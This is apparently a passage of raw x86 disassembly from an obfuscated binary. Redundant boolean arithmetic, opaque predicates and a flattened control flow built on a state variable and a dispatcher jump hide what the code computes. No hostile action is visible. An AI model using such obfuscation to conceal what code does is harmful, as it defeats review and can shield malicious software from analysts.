mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x73a]
or bl, bh
xor cl, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0x733], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dl, cl
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov cl, dh
and cl, ah
or ch, cl
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
mov cl, dl
xor cl, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 0
or cl, bh
or bl, 0
xor cl, 0xff
and cl, bl
mov byte [ebp - 0x739], cl
mov bl, ah
xor bl, 0xff
mov cl, al
xor cl, bl
and cl, al
mov bl, ch
xor bl, 0xff
mov al, 1
xor al, 0
mov bh, 1
xor bh, 1
or bl, al
mov al, byte [ebp - 0x739]
or bh, 1
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x734], bl
xor dh, 0xff
mov bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x736], dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x735], dh
mov bh, 1
xor bh, 0
mov dh, bl
and dh, 0
and al, bh
mov byte [ebp - 0x738], al
mov al, byte [ebp - 0x735]
and al, 0
mov byte [ebp - 0x737], al
mov al, byte [ebp - 0x738]
and cl, bh
or dh, al
mov al, byte [ebp - 0x737]
or al, cl
mov cl, byte [ebp - 0x736]
xor dh, al
mov al, byte [ebp - 0x735]
or bl, al
mov al, byte [ebp - 0x734]
xor bl, 0xff
or bh, 0
and bl, bh
or dh, bl
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov cl, dh
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
and dh, al
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x733]
or cl, dh
mov dh, byte [ebp - 0x732]
or bl, bh
xor cl, bl
mov bh, dl
and bh, ch
xor dl, ch
or bh, dl
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dl, bh
or ch, bl
xor dl, ch
mov ch, ah
and ch, 0
xor ah, 0
or ch, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov bl, ah
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, bl
or cl, dl
xor ch, cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov dl, 1
xor dl, 1
or cl, ch
or dl, 1
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or ch, bh
or dl, bl
xor ch, dl
xor ah, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or ah, ch
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, 1
xor cl, 0
mov ch, dh
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, 1
xor ah, 0
and ah, 0
mov bh, 1
xor bh, 0
mov bl, bh
and bl, 0
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or ah, bl
or ch, dh
xor ah, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov ch, dh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
mov ah, dl
xor ah, 0xff
mov cl, ch
and cl, ah
xor ch, 0xff
mov ah, dl
and ah, ch
or cl, ah
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov dh, al
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
mov byte [ebp - 0x72c], cl
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ch, ah
and ch, dh
or dl, ch
mov ch, 1
xor ch, 0
and ch, 1
mov dh, 1
xor dh, 1
and dh, 0
or ch, dh
mov byte [ebp - 0x72b], ch
mov dh, 1
xor dh, 0
mov bh, cl
xor bh, dh
and bh, cl
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, 1
xor dh, 0
mov cl, dl
xor cl, dh
and cl, dl
mov byte [ebp - 0x72f], cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and bh, dh
mov byte [ebp - 0x731], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x730], al
mov al, byte [ebp - 0x731]
or ah, al
mov al, byte [ebp - 0x730]
or bh, al
mov al, byte [ebp - 0x72f]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ch, dh
and ch, 0
and al, bl
mov byte [ebp - 0x72e], al
mov al, bh
and al, 0
mov byte [ebp - 0x72d], al
mov al, byte [ebp - 0x72e]
and cl, bl
or ch, al
mov al, byte [ebp - 0x72d]
or al, cl
mov cl, byte [ebp - 0x72c]
xor ch, al
mov al, byte [ebp - 0x72b]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or ch, dh
mov dh, ah
xor dh, 0xff
mov bl, ch
and bl, dh
xor ch, 0xff
and ah, ch
or bl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dh, ah
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa06c2306
mov ecx, 0xae099e50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0xc7779c62
jmp 0x486e58
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x1d0], eax
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
mov edx, eax
sub edx, 0x94c7542f
add edx, 0x43fbad8b
add edx, 0x94c7542f
add edx, 0xbb5ff3a5
add edx, 0xfbdca17a
sub edx, 0xbb5ff3a5
sub edx, 0xbd118c0c
sub edx, 0x43fbad8b
add edx, 0xbd118c0c
add edx, 0xc0fa2e0b
add edx, 0xca94a125
sub edx, 0xc0fa2e0b
sub edx, 0xd0263ebb
sub edx, 1
add edx, 0xd0263ebb
sub edx, 0x9674e08f
sub edx, 0xca94a125
add edx, 0x9674e08f
add edx, 0x481c85fd
sub edx, 0x37a74072
sub edx, 0x481c85fd
add edx, 0xb0098aa3
sub edx, 0xfbdca17a
sub edx, 0xb0098aa3
add edx, 0x6cac5d54
add edx, 0x37a74072
sub edx, 0x6cac5d54
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dh
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
mov ch, al
and ch, bl
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, bl
or dl, ch
or cl, ah
xor dl, cl
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or cl, ah
xor cl, 0xff
mov bh, dh
xor bh, cl
and bh, dh
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, ch
and dh, 0
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7dc082f9
mov ecx, 0x7ed2e210
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov ecx, dword [0x5d5bbc]
mov eax, dword [0x5d5bb8]
mov esi, 0x1cb56efa
add esi, 0
sub esi, ecx
sub esi, 0x1cb56efa
xor edi, edi
sub edi, 0x9d84c123
add edi, 0
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
mov edx, 0xa14a8920
add edx, 0
sub edx, esi
sub edx, 0xa14a8920
mov esi, 0x46fbff3c
add esi, 0
sub esi, 1
sub esi, 0x46fbff3c
sub edx, 0xd6474b5
add edx, esi
add edx, 0xd6474b5
mov esi, 0x124ef0c5
add esi, 0
sub esi, 0x9d84c123
sub esi, 0x124ef0c5
sub edx, 0x9175dd81
add edx, esi
add edx, 0x9175dd81
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov byte [ebp - 0x7cf], al
mov dh, bl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dh, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov bh, bl
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, dh
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and dh, dl
mov ch, ah
and ch, 0
and bh, dl
or al, dh
mov dh, byte [ebp - 0x7cf]
or ch, bh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x7b4], al
mov bh, dh
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bh
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, bh
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov dl, 1
xor dl, 0
and dl, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov ch, 1
xor ch, 0
xor dl, 0xff
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x7d4], al
mov dh, ch
xor dh, 0xff
mov dl, 1
xor dl, 0
and al, 0
and cl, dl
mov bh, dh
and bh, 0
and ch, dl
or al, cl
mov cl, byte [ebp - 0x7d4]
or bh, ch
mov ch, byte [ebp - 0x7b4]
xor al, bh
or cl, dh
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x7b3], al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov ch, 1
xor ch, 0
and ch, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bh
or dl, dh
xor al, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov ch, 1
xor ch, 0
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x7d1], cl
mov bh, 1
xor bh, 0
mov dh, ch
and dh, 0
mov cl, bh
and cl, 0
mov byte [ebp - 0x7d3], cl
mov cl, byte [ebp - 0x7d1]
and cl, 0
and al, bh
mov byte [ebp - 0x7d2], al
mov al, byte [ebp - 0x7d3]
or dh, al
mov al, byte [ebp - 0x7d2]
or cl, al
mov al, byte [ebp - 0x7d1]
xor dh, cl
mov cl, byte [ebp - 0x7cf]
or ch, al
mov al, byte [ebp - 0x7b3]
xor ch, 0xff
or bh, 0
and ch, bh
or dh, ch
mov ch, dl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and dl, bh
or ch, dl
xor ch, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or ch, dh
or dl, 1
xor ch, 0xff
and ch, dl
mov bh, al
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
mov dl, al
and dl, dh
or bh, dl
mov dl, bl
xor dl, 0xff
mov dh, bh
and dh, dl
xor bh, 0xff
mov dl, bl
and dl, bh
or dh, dl
xor bl, 0xff
mov dl, dh
xor dl, bl
and dl, dh
mov bh, 1
xor bh, 0
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0
or bh, dh
mov dh, ah
xor dh, 0xff
mov bl, bh
and bl, dh
xor bh, 0xff
mov dh, ah
and dh, bh
or bl, dh
mov bh, ah
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov bh, al
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
and al, bl
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x7d0], al
mov al, 1
xor al, 1
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0xff
and bh, al
mov al, byte [ebp - 0x7d0]
or al, cl
mov cl, byte [ebp - 0x7cf]
or bl, bh
xor al, bl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, ch
xor al, 0xff
and al, 0
mov byte [ebp - 0x7ce], al
mov bh, 1
xor bh, 0
mov cl, ch
and cl, bh
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x7cd], al
mov al, byte [ebp - 0x7ce]
and bh, 1
or al, cl
mov cl, byte [ebp - 0x7cd]
or cl, bh
xor al, cl
mov byte [ebp - 0x7c8], al
mov al, dl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov cl, dl
and cl, bh
mov bh, byte [ebp - 0x7c8]
or al, cl
mov byte [ebp - 0x7cc], al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov byte [ebp - 0x7c5], al
xor bh, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
or bh, cl
mov cl, byte [ebp - 0x7c5]
or al, 1
xor bh, 0xff
and bh, al
xor cl, 0xff
mov al, ch
xor al, cl
mov cl, byte [ebp - 0x7cc]
and al, ch
mov byte [ebp - 0x7cb], al
mov al, 1
xor al, 1
mov ch, cl
xor ch, al
mov al, byte [ebp - 0x7c5]
and ch, cl
mov byte [ebp - 0x7ca], ch
xor dl, 0xff
xor al, 0xff
mov ch, 1
xor ch, 1
or dl, al
mov al, byte [ebp - 0x7cb]
or ch, 1
xor dl, 0xff
and dl, ch
mov ch, bh
and ch, al
xor bh, al
mov al, byte [ebp - 0x7ca]
or ch, bh
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
and ch, al
mov byte [ebp - 0x7c9], ch
mov ch, bh
xor ch, 0xff
and ch, 0
and bh, al
mov al, byte [ebp - 0x7c9]
or dl, al
mov al, byte [ebp - 0x7c8]
or ch, bh
xor dl, ch
mov byte [ebp - 0x7c3], dl
mov dl, al
xor dl, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x7c4], ch
mov bh, 1
xor bh, 1
mov ch, dl
and ch, 0xff
and al, bh
mov byte [ebp - 0x7c7], al
mov al, byte [ebp - 0x7c4]
and al, 0xff
mov byte [ebp - 0x7c6], al
mov al, byte [ebp - 0x7c7]
and cl, bh
or ch, al
mov al, byte [ebp - 0x7c6]
or al, cl
mov cl, byte [ebp - 0x7c5]
xor ch, al
mov al, byte [ebp - 0x7c4]
or dl, al
mov al, byte [ebp - 0x7c3]
xor dl, 0xff
or bh, 1
and dl, bh
or ch, dl
mov dl, ch
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and ch, bh
or dl, ch
mov ch, cl
and ch, 1
xor cl, 1
or ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov bh, dh
and bh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, bh
or cl, dl
xor al, cl
mov byte [ebp - 0x7bb], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
mov dl, bl
and dl, bh
or cl, dl
mov byte [ebp - 0x7bf], cl
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
and cl, 0
or dl, cl
xor al, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov bh, dl
xor bh, 0xff
mov cl, dh
xor cl, bh
mov bh, byte [ebp - 0x7bf]
and cl, dh
mov byte [ebp - 0x7c2], cl
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, cl
mov cl, byte [ebp - 0x7c2]
and dh, bh
mov byte [ebp - 0x7bc], dh
mov bh, dl
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x7be], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x7bd], cl
mov bl, bh
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x7c2]
mov byte [ebp - 0x7c1], al
mov al, byte [ebp - 0x7be]
and al, 0xff
mov byte [ebp - 0x7c0], al
mov al, byte [ebp - 0x7bd]
and cl, al
mov al, byte [ebp - 0x7c1]
or bl, al
mov al, byte [ebp - 0x7c0]
or al, cl
mov cl, byte [ebp - 0x7bf]
xor bl, al
mov al, byte [ebp - 0x7be]
or bh, al
mov al, byte [ebp - 0x7bd]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x7bc]
or bl, bh
mov bh, al
and bh, dh
xor al, dh
or bh, al
mov al, bl
xor al, 0xff
mov dh, bh
and dh, al
mov al, byte [ebp - 0x7bb]
xor bh, 0xff
and bl, bh
or dh, bl
mov byte [ebp - 0x7b7], dh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x7b8], bh
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and bh, 0xff
and al, dh
mov byte [ebp - 0x7ba], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x7b9], al
mov al, byte [ebp - 0x7ba]
and cl, dh
or bh, al
mov al, byte [ebp - 0x7b9]
or al, cl
mov cl, byte [ebp - 0x7b8]
xor bh, al
mov al, byte [ebp - 0x7b7]
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or bh, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or cl, bh
or dh, bl
xor cl, dh
mov dh, dl
and dh, 0
xor dl, 0
or dh, dl
xor dh, 0xff
mov dl, cl
xor dl, dh
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov al, ch
and al, dh
or dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
and dh, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov al, 1
xor al, 1
and al, 0
and bl, 1
or dh, bh
or al, bl
xor dh, al
xor ch, 0xff
mov bl, dh
xor bl, 0xff
mov al, 1
xor al, 0
or ch, bl
or al, 0
xor ch, 0xff
and ch, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
mov al, cl
and al, bl
or bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, 1
xor al, 0
or bh, bl
or al, 0
xor bh, 0xff
and bh, al
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ch
and dl, 0
and bh, dh
mov byte [ebp - 0x7b6], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x7b5], al
mov al, byte [ebp - 0x7b6]
or dl, al
mov al, byte [ebp - 0x7b5]
or bh, al
mov al, byte [ebp - 0x7b4]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or dl, ch
mov ch, cl
xor ch, 0xff
mov bl, dl
and bl, ch
xor dl, 0xff
and cl, dl
or bl, cl
mov cl, al
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 1
or cl, ch
or dl, 1
xor cl, 0xff
and cl, dl
mov ch, al
xor ch, 0xff
mov dl, ah
and dl, ch
xor ah, 0xff
and al, ah
or dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, ah
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and ah, dl
mov dh, ch
and dh, 0xff
and bh, dl
or al, ah
mov ah, byte [ebp - 0x7b3]
or dh, bh
xor al, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov ch, 1
xor ch, 0
mov dl, ah
and dl, ch
xor ah, 0xff
and ah, 0
or dl, ah
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ah, bl
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x7b2], al
mov dh, ch
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or dh, cl
mov bh, 1
xor bh, 1
and bh, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 1
mov dl, al
xor dl, cl
and dl, al
xor bl, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, dh
xor cl, 0xff
mov ah, 1
xor ah, 1
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
xor ch, 0xff
mov al, bh
xor al, 0xff
mov ah, 1
xor ah, 1
or ch, al
mov al, byte [ebp - 0x7b2]
or ah, 1
xor ch, 0xff
and ch, ah
mov ah, dl
and ah, bl
xor dl, bl
or ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x7b1], ah
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, al
mov al, byte [ebp - 0x7b1]
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x7b0], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x7b0]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a2b5a1
mov ecx, 0xe04763a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x486e58
mov dword [ebp - 0x1e0], 0x1d196e30
jmp 0x486e58
mov eax, dword [0x5d5bbc]
mov ecx, dword [0x5d5bb8]
xor esi, esi
sub esi, 0x6e7f506e
sub esi, 0x9e839ac1
add esi, 0x6e7f506e
sub esi, 0x8bfe6302
sub esi, 1
add esi, 0x8bfe6302
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x9e839ac1
add edx, esi
xor esi, esi
sub esi, edx
mov edx, eax
add edx, 0xf5789c8d
add edx, 0x512fc243
sub edx, 0xf5789c8d
sub edx, 0xabc7c5a0
add edx, esi
add edx, 0xabc7c5a0
add edx, 0x49739b5c
sub edx, 0x512fc243
sub edx, 0x49739b5c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dl
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, dl
and cl, ch
or ah, cl
mov cl, al
xor cl, 0xff
mov bl, ah
and bl, cl
xor ah, 0xff
mov cl, al
and cl, ah
or bl, cl
xor bl, 0xff
mov ah, al
